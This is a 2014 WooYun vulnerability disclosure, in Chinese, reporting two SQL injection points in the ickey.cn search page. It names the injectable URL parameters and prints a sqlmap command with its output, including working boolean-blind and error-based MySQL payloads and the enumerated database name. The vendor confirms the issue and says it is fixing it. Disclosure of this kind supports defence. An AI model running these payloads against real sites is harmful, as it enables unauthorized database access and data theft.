当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-078203

漏洞标题:ICKey主站sql注射(2枚)

相关厂商:ickey.cn

漏洞作者: 郭斯特

提交时间:2014-10-07 21:54

修复时间:2014-11-21 21:56

公开时间:2014-11-21 21:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-07: 细节已通知厂商并且等待厂商处理中
2014-10-08: 厂商已经确认,细节仅向厂商公开
2014-10-18: 细节向核心白帽子及相关领域专家公开
2014-10-28: 细节向普通白帽子公开
2014-11-07: 细节向实习白帽子公开
2014-11-21: 细节向公众公开

简要描述:

RT

详细说明:

注射1:http://www.ickey.cn/2013/stock/search.html?sub2=9&kw=100K%CE%A9&Passiveproduct_page=2 kw=100K%CE%A9
注射2:http://www.ickey.cn/2013/stock/search.html?sub2=9&sub3=10&pro_precision=%C2%B11%25 sub3=10
sqlmap跑:

wooyun.png


root:

wooyun.png

漏洞证明:


E:\Users\ghost\Desktop\sqlmap>sqlmap.py -u "http://www.ickey.cn/2013/stock/searc
h.html?sub2=9&sub3=10 " --dbs
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:12:53
[14:12:53] [INFO] resuming back-end DBMS 'mysql'
[14:12:53] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: sub3
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY claus
e (RLIKE)
Payload: sub2=9&sub3=10 RLIKE IF(9516=9516,0x313020,0x28)
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)
Payload: sub2=9&sub3=10 AND EXTRACTVALUE(9834,CONCAT(0x5c,0x3a6a63723a,(SEL
ECT (CASE WHEN (9834=9834) THEN 1 ELSE 0 END)),0x3a6a6a743a))
---
[14:12:58] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.2.17, PHP 5.3.4
back-end DBMS: MySQL 5.1
[14:12:58] [INFO] fetching database names
[14:12:59] [INFO] heuristics detected web page charset 'ascii'
[14:13:00] [WARNING] the SQL query provided does not return any output
[14:13:00] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[14:13:00] [INFO] fetching number of databases
[14:13:00] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[14:13:00] [INFO] retrieved:
[14:13:04] [ERROR] unable to retrieve the number of databases
[14:13:04] [INFO] falling back to current database
[14:13:04] [INFO] fetching current database
[14:13:04] [INFO] resumed: ickeynew
available databases [1]:
[*] ickeynew

修复方案:

Could you give me a GIFT?~

版权声明:转载请注明来源 郭斯特@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-10-08 09:24

厂商回复:

谢谢,正在修复。

最新状态:

暂无